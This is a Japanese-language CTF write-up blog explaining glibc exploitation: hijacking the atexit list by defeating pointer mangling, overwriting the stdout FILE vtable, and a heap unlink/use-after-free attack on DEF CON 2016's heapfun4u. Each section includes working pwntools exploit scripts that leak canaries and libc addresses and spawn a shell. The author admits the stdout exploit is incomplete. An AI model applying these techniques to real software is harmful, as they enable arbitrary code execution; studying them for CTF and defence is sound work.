internal_atexitできになることは、PTR_MANGLEという定義である。なにかしら登録する関数に対して処理をしているように見える。これを詳しく見てみよう。

# ifdef __ASSEMBLER__
#  define PTR_MANGLE(reg)  xor __pointer_chk_guard_local(%rip), reg;    \
               rol $2*LP_SIZE+1, reg

GAS表記のアセンブリ言語で書かれている。ここでは何をしているのかというと、__pointer_chk_guard_localというものとxorを取っている。実はこれgs:18hの値である。つまり、登録される関数のポインタはここでxorされるのである。そして、xor取った値をさらにLP_SIZEは4であるから、2*4+1 = 9左にシフトしている。
これらを踏まえてうえで、どのようにしてatexit関数に登録すればよいのか考えてみよう。まずは、exit関数が動く部分である。

   0xf7e387c3 <exit+19>:  push   0x1
   0xf7e387c5 <exit+21>: push   eax
   0xf7e387c6 <exit+22>: push   DWORD PTR [esp+0x1c]
=> 0xf7e387ca <exit+26>: call   0xf7e38690
   0xf7e387cf:  nop
   0xf7e387d0 <on_exit>:  push   ebx
   0xf7e387d1 <on_exit+1>:   call   0xf7f270d5
   0xf7e387d6 <on_exit+6>:   add    ebx,0x18182a
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0xf7fba3dc --> 0xf7fbb1e0 --> 0x0 
arg[2]: 0x1 

atexit list
gdb-peda$ x/10wx 0xf7fba3dc
0xf7fba3dc:    0xf7fbb1e0 0xf7fbb400 0xf7fba070 0xf7fba064
0xf7fba3ec:    0xf7fba064 0x00000003 0x0000001f 0x00000003
0xf7fba3fc:    0xf7fba0e0 0xf7fb8a64

list[0]
gdb-peda$ x/10wx 0xf7fbb1e0
0xf7fbb1e0:    0x00000000 0x00000001 0x00000004 0xe71860eb
0xf7fbb1f0:    0x00000000 0x00000000 0x00000000 0x00000000
0xf7fbb200:    0x00000000 0x00000000

atexitが呼ばれる直前の状態である。ここの第2引数からatexit listのポインタが格納されていることが分かる。そこからlist[0]のアドレスを見るとすでに登録されていることが確認できる。今回はこのlist[0]に登録するように仕向ける。登録方法を以下に示す。

  • atexit listアドレスがあるstack addressをinput name pointerにBOFさせておいてleakする。

  • list[0]アドレスがあるatexit list addressをinput name pointerにBOFさせておいてleakする。

  • list[0]アドレスをinput name pointerにBOFさせておいてchange nameでyを選択してinput nameで値を登録する。(このとき、input nameのサイズはBOFさせて変えておく)

  • 登録する値は*next = NULL, idx = 2(systemと/bin/shの二つ分), flavor = 4(long intで固定), func = (system ^ gs:18h) << 9, arg = /bin/sh address, dso_handle = NULL
    さて、これらから実際に攻撃の手順を考えていきましょう!

  • Input messageでBOFさせてcanaryをleakする。

  • Input messageで改行なしでsendしてold ebpなどをleakする。

  • Input messageでlibc baseを適当なGOT addressからinput name pointerにBOFさせておいてleakする。このとき、name size, ループカウンタの制限を適当な数値で増やしておく。

  • gs:18hをold ebpを使ってleakする。(ret関数が使われた形跡がstack内に残っているため、そこからleakする)

  • atexitに登録する。

  • canaryをもとに戻し、ループのカウンタを0にして正常に終了させる。(stackが壊れるとabortしてatexitが呼ばれなくなるため)

これらをまとめたものが以下のexploit codeになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log
elf = ELF('./shadow')
libc = ELF('/lib32/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def read_address(addr):
    conn.recvuntil('Change name? (y/n) : ')
    conn.send('n\n')
    conn.recvuntil('Message length : ')
    conn.send('-1\n')
    conn.recvuntil('Input message : ')
    payload = ''
    payload += 'A' * 52
    payload += p32(addr)                 # name ptr
    payload += p32(0x1000)               # name length input
    payload += p32(0x10)                 # loop counter limit
    conn.send(payload)
    conn.recv(8)
    return int(hex(u32(conn.recv(4))),16)

# 1st canary leak
conn.recvuntil('Input name : ')
conn.send('shadow')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak = 'A' * 33
conn.send(leak)
conn.recvuntil(leak)
canary = int(hex(u32('\x00' + conn.recv(3))),16)
log.info('canary:0x%08x' % canary)

# 2nd leak stack address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak2 = 'A' * 44
conn.send(leak2)
conn.recvuntil(leak2)
saved_ebp       = int(hex(u32(conn.recv(4))), 16)
ret_addr        = int(hex(u32(conn.recv(4))), 16)
input_name_addr = int(hex(u32(conn.recv(4))), 16)

log.info('saved_ebp         :0x%08x' % saved_ebp)
log.info('return address    :0x%08x' % ret_addr)
log.info('input name address:0x%08x' % input_name_addr)

# 3rd leak libcbase, buffer length and change loop conunter
exit_libc = read_address(elf.got['exit'])
libc_base = exit_libc - libc.symbols['exit']
system    = libc_base + libc.symbols['system']
binsh     = libc_base + next(libc.search("/bin/sh"))
atexit    = libc_base + libc.symbols['atexit']
log.info('libc_base address:0x%08x' % libc_base)
log.info('system address:0x%08x' % system)
log.info('/bin/sh address:0x%08x' % binsh)

# 4th leak gs:18h
gs18h = read_address(saved_ebp-0x3c) ^ elf.symbols['main']+0x54
log.info('gs18h :0x%08x' % gs18h)

# 5th leak atexit list pointer
atexit_list = read_address(saved_ebp+0x14)
log.info('atexit_list :0x%08x' % atexit_list)

# 6th leak atexit list[0]
atexit_list_arr = read_address(atexit_list)
log.info('atexit_list_arr :0x%08x' % atexit_list_arr)

# 7th set atexit list[0] address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(atexit_list_arr)          # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 8th overwrite atexit list[0] array
conn.recvuntil('Input name : ')
arr_atexit = p32(0)
arr_atexit += p32(2)
arr_atexit += p32(4)
arr_atexit += p32(rol(system^gs18h, 9, 32))
arr_atexit += p32(binsh)
arr_atexit += p32(0)
conn.send(arr_atexit)
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
conn.send('a')

# 9th set finish
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 32
payload += p32(canary)                # canary
payload += p32(0xdeadbeef) * 4        # padging
payload += p32(input_name_addr)       # name ptr
payload += p32(0x0)                   # name length input
payload += p32(0x0)                   # loop counter limit
conn.send(payload)
conn.interactive()

【総評】glibcを見ることの大切さを学んだ。

2.IO_stdoutを用いた攻撃

libcのstdin/stdoutにはJump table と言われる関数群を持っています。下に記載するURLに詳しく、載っています。
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
f:id:shimasyaro:20170511174626p:plain
とりあえず、デバッグしてどのような様子か確かめてみましょう。
f:id:shimasyaro:20170511180641p:plain
これがstdoutを表示した様子です。赤枠で囲った部分がjump tableアドレスになります。今度はそこを見ていきましょう。
f:id:shimasyaro:20170511180918p:plain
これが、jump tableです。赤枠で囲った部分IO_file_xsputnを今回は書き換えることを目的として攻撃を考えてみたいと思います。
そもそも、
IO_file_xsputnとは、なんでしょうか?これは出力系の関数が使われるときに必ず使用される関数です。そのため、今回はprintfが使われたときに内部関数として_IO_file_xsputnというのが現れます。この攻撃はglibc-2.24以降ではチェック機構が存在しているため、書き換えることができません。
どうやら書き換えることができるそうです。下の引用を参考にお願いします。(適当なことを書いて申し訳ございませんでした。)


詳しくはglibcの/libio/libioP.hのIO_validate_vtableを見てください。参考までに特に重要な部分を抜粋して載せておきます。glibc-2.25です。

glibc/libio/libioP.h
398: #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
191: #define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
140: #define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
133: # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

931: static inline const struct _IO_jump_t *
932: IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

119: #define _IO_JUMPS_FILE_plus(THIS) \
120:   _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

343: struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

114: #define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                       + offsetof(TYPE, MEMBER)))
308: struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

さて、実際に攻撃方法を考えてみましょう。今回は以下のような攻撃でいきます。

  • libc のleak

  • stdoutの実体である、IO_2_1_stdoutを割り出し、そこからIO_2_1_stdout+0x94にある、jump tableのアドレスを書き換え可能な領域のアドレス(例えば、.bssなど)に変更する。

  • 書き換え可能な領域のアドレス+0x1cにROPのアドレスを入れる。

書き換え方法などは1.atexit関数を用いた攻撃を参考にしてほしい。肝心のexploit codeだが、ROPは発動しているが、そこからつなげる攻撃が上手くいっていないため、あくまで参考までにしてほしい。

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./shadow')
libc = ELF('/lib32/libc.so.6')
bss = 0x804a020

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def read_address(addr):
    conn.recvuntil('Change name? (y/n) : ')
    conn.send('n\n')
    conn.recvuntil('Message length : ')
    conn.send('-1\n')
    conn.recvuntil('Input message : ')
    payload = ''
    payload += 'A' * 52
    payload += p32(addr)                 # name ptr
    payload += p32(0x1000)               # name length input
    payload += p32(0x10)                 # loop counter limit
    conn.send(payload)
    conn.recv(8)
    return int(hex(u32(conn.recv(4))),16)

# 1st canary leak
conn.recvuntil('Input name : ')
conn.send('shadow')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak = 'A' * 33
conn.send(leak)
conn.recvuntil(leak)
canary = int(hex(u32('\x00' + conn.recv(3))),16)
log.info('canary:0x%08x' % canary)

# 2nd leak stack address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak2 = 'A' * 44
conn.send(leak2)
conn.recvuntil(leak2)
saved_ebp       = int(hex(u32(conn.recv(4))), 16)
ret_addr        = int(hex(u32(conn.recv(4))), 16)
input_name_addr = int(hex(u32(conn.recv(4))), 16)

log.info('saved_ebp         :0x%08x' % saved_ebp)
log.info('return address    :0x%08x' % ret_addr)
log.info('input name address:0x%08x' % input_name_addr)

# 3rd leak libcbase, buffer length and change loop conunter
exit_libc = read_address(elf.got['exit'])
libc_base = exit_libc - libc.symbols['exit']
system    = libc_base + libc.symbols['system']
binsh     = libc_base + next(libc.search("/bin/sh"))
stdout    = libc_base + libc.symbols['_IO_2_1_stdout_']
log.info('libc_base address:0x%08x' % libc_base)
log.info('system address:0x%08x' % system)
log.info('/bin/sh address:0x%08x' % binsh)
log.info('stdout address:0x%08x' % stdout)

# 4th set bss+0x1c address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(bss+0x1c)                 # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 5th overwrite bss+0x1c array
conn.recvuntil('Input name : ')
payload = p32(system)
conn.send(payload)
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
conn.send('a')

# 6th set bss address in jump table
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(stdout+0x94)              # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 7th set finish
conn.recvuntil('Change name? (y/n) : ')
conn.send('y\n')
conn.recvuntil('Input name : ')
payload = p32(bss)
conn.send(payload)
conn.recvall()

以下は攻撃の様子です。
f:id:shimasyaro:20170511184010p:plain
f:id:shimasyaro:20170511184226p:plain

【総評】ROP ROP pain

DEF CON CTF Qualifier 2016 heapfun4u

今回の問題はELF-64bitでxinetd型であった。今回の問題は脆弱性としてUAF(Use After Free)というheapの構造を利用した攻撃だ。この攻撃は現実の攻撃でも行われる攻撃であるが、このUAFは全体の動きを細かく把握してからではないと攻撃することが難しい。
私は今回、全体の動きを細かく把握するのにかなり苦労した。特に、Freeの処理がどのように行われているのかを把握するのに、多くの時間を費やした。しかし、そのおかげもあって、UAFがどのような攻撃であるかを実際にやってみることで、少し理解が進んだ。
実際のglibc mallocの動きとは少し違う部分もあるが、この問題で、UAFを把握するのにはとても良い問題であることを私は感じた。
特に、今回はUAFを理解するために、以下の資料を参考させていただきました!誠にありがとうございます!

speakerdeck.com

さて、ではさっそく問題のほうを見ていきましょう。

shima@chino:~/workspace/pwn_list_easy/heapfun4u$ checksec --file heapfun4u 
[*] '/home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

shima@chino:~/workspace/pwn_list_easy/heapfun4u$ ./heapfun4u 
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 16
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 32
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| F
1) 0x7f6970480008 -- 16
2) 0x7f6970480020 -- 32
Index: 1

まあ、今回はheap領域であるため、実際には実行権限があるかわからないため、実際にデバッグしながら見てみましょう。

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00402000         r-xp    /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00601000         0x00602000         r--p  /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00602000         0x00603000         rw-p  /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00007ffff7a12000 0x00007ffff7bd0000 r-xp    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bd0000 0x00007ffff7dcf000 ---p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dcf000 0x00007ffff7dd3000 r--p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd3000 0x00007ffff7dd5000 rw-p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd5000 0x00007ffff7dda000 rw-p  mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7fdb000 0x00007ffff7fde000 rw-p  mapped
0x00007ffff7ff7000 0x00007ffff7ff8000 rwxp    mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 rw-p  mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp    [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

実際にheap領域に確保するようにしたら、どうやら、mmapで実行権限付きでheapをとっているようだった。とりあえず、適当にheapとfreeを繰り返して、デバッグをしてみた。

1.alloc(16), 2.alloc(128), 3.alloc(16)
1.free(16), 2.free(128)

gdb-peda$ x/30gx 0x00007ffff7ff7000
0x7ffff7ff7000:    0x0000000000000012 0x00007ffff7ff70b8
0x7ffff7ff7010:    0x00007ffff7ff7018 0x0000000000000082
0x7ffff7ff7020:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7030:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7040:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7050:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7060:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7070:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7080:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7090:    0x00007ffff7ff7000 0x0000000000000000
0x7ffff7ff70a0:    0x0000000000000013 0x0000000000000000
0x7ffff7ff70b0:    0x0000000000000000 0x0000000000000f40
0x7ffff7ff70c0:    0x0000000000000000 0x0000000000000000
0x7ffff7ff70d0:    0x0000000000000000 0x0000000000000000
0x7ffff7ff70e0:    0x0000000000000000 0x0000000000000000

三つほど、allocateしてそれをallocateした順番に二つFreeしたものである。これからわかることは、1.free(16)を行ったときに直下のchunkがallocateされているため、unlinkすることなく、free listに繋がっている。そして、二つ目の2.free(128)を行ったときは、free listをつなぎ変えていた。
これからをまとめると、以下のようなchunk,freeの動きになっている。
f:id:shimasyaro:20170417174834p:plain
freeの動き

  • SIZEの1bit目はallocateされているかどうか、2bit目はmmap領域を使っているかどうか(今回は使っているため、常にbitが立っている)、3bit目は使われてなかった。

  • free listはfreeされた順番でつながっている。つぎallocateされるときは一番後にfreeされたものからfirst matchで探していく。つまりLIFO(Last In First Out)で探す。

という動きになっていることが分かった。(本当はデバッグしながら探しまくる)ここまで分かったところで、今回のバグを探してみるが、色々簡単に見つかった。

  • [F]ree Bufferを行っても、一回allocateされている場所はずっとfreeできるようになっている。

  • [N]ice guyでstack addressのleakができる。

  • heapのアドレスを表示しているため、どこにDataが格納されているかわかる。

これらを上手く利用して、攻撃を組み立てなければならない。しかし、私はこの時点でどのように攻撃をすればいいのかさっぱりわからなかったため、write upをみることにした。するとUAFを使った面白い攻撃をしていたため、さっそく紹介する。
まず、今回重要になるのが、unlink処理の部分だ。つまり、「直下のchunkがFreeであるという状況」が重要となる。今回のFreeのunlink処理を見てみよう。

mov     rax, [rbp+p_fd]
mov     rdx, [rax]
mov     rax, [rbp+p_fd]
mov     rax, [rax]
mov     rax, [rax]             ; P->fd->size
and     rax, 0FFFFFFFFFFFFFFFCh
sub     rax, 8
add     rax, rdx               ; P->fd + P->fd->size
mov     [rbp+fd_fd], rax       ; P->fd->fd
mov     rax, [rbp+fd_fd]
mov     rdx, [rbp+size_addr]
mov     [rax+8], rdx           ; P->fd->fd+8 = P

rbp+p_fd(P->fd)と書かれているものが、直下のfree chunkのfdポインタが入っている。このfdポインタとfdポインタ先のSIZEを足すことによって次のfree listのポインタに移動する。そしてrbp+fd_fd(P->fd->fd)ポインタから+8されたところを書き換えるような動きをしている。
今回はこの動きを利用して以下のようにchunkの配置を行う。
f:id:shimasyaro:20170418093417p:plain

  • まず、Buffer1,Buffer2,Buffer3をそれぞれ確保した後、Buffer2,Buffer1の順番で開放する。

  • Buffer4を確保したら、書き込みを行い、上記のような配置でchunkを配置する。

  • Buffer2を再び開放して、unlink attackを行い、return addressをBuffer2(FAKE_SIZE)のアドレスに書き換える。

  • Buffer4で書き込みを行い、Buffer2(FAKE_SIZE)のアドレスの部分にshellcodeを置く。

  • [E]xitを行って、main関数の returnをさせて、shellcodeを起動させる。

以上が攻撃の流れになる。私が頭を抱えたのがreturn+8になっているので-8にしてoffsetを取っていたが、どうやら意図的にずらしているようだった。(もしかしたら、自分の計算ミス、構造把握ミスがあるため、なんともいえない)
とりあえず、こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
shellcode = asm(shellcraft.sh())

conn = process('./heapfun4u')
print "[+] connect to local\n"

def alloc(size):
    conn.recvuntil('| ')
    conn.sendline('A')
    conn.recvuntil('Size: ')
    conn.sendline(size)

def free(index):
    conn.recvuntil('| ')
    conn.sendline('F')
    conn.recvuntil('Index: ')
    conn.sendline(index)

def write(index, buf):
    conn.recvuntil('| ')
    conn.sendline('W')
    conn.recvuntil(index + ') ')
    heap_addr = int(conn.recv(14), 16)
    conn.recvuntil('Write where: ')
    conn.sendline(index)
    conn.recvuntil('Write what: ')
    conn.sendline(buf)

    return heap_addr
    
def leak():
    conn.recvuntil('| ')
    conn.sendline('N')
    conn.recvuntil('Here you go: ')
    ret_addr = int(conn.recvuntil('\n'), 16) + 0x13c

    return ret_addr

def leave():
    conn.recvuntil('| ')
    conn.sendline('E')

# get return address
ret_addr = leak()

# set chunk and free
alloc('16')    # index 1
alloc('128')   # index 2
alloc('16')    # index 3
free('2')
free('1')

# alloc index 4 and leak heap address(index 4)
alloc('128')
heap_addr = write('4', 'SYARO!!!')
ret_size = ret_addr - heap_addr

log.info('ret_size:%16x' % ret_size)
log.info('fd:      %16x' % heap_addr)
log.info('return:  %16x' % ret_addr)

# unlink atack
unlink_attack = ''
unlink_attack += p64(ret_size)   
unlink_attack += p64(0)          
unlink_attack += p64(16 + 2 + 1) # fake alloc chunk
unlink_attack += 'SYARO!!!' * 2  # data
unlink_attack += p64(16 + 2)     # fake free chunk
unlink_attack += p64(heap_addr)  # fd
unlink_attack += p64(0)          # bk

write('4', unlink_attack)
free('2')

payload = ''
payload += 'SYARO!!!' * 2
payload += shellcode

write('4', payload)
leave()

conn.interactive()

【総評】UAFマジでくじけそう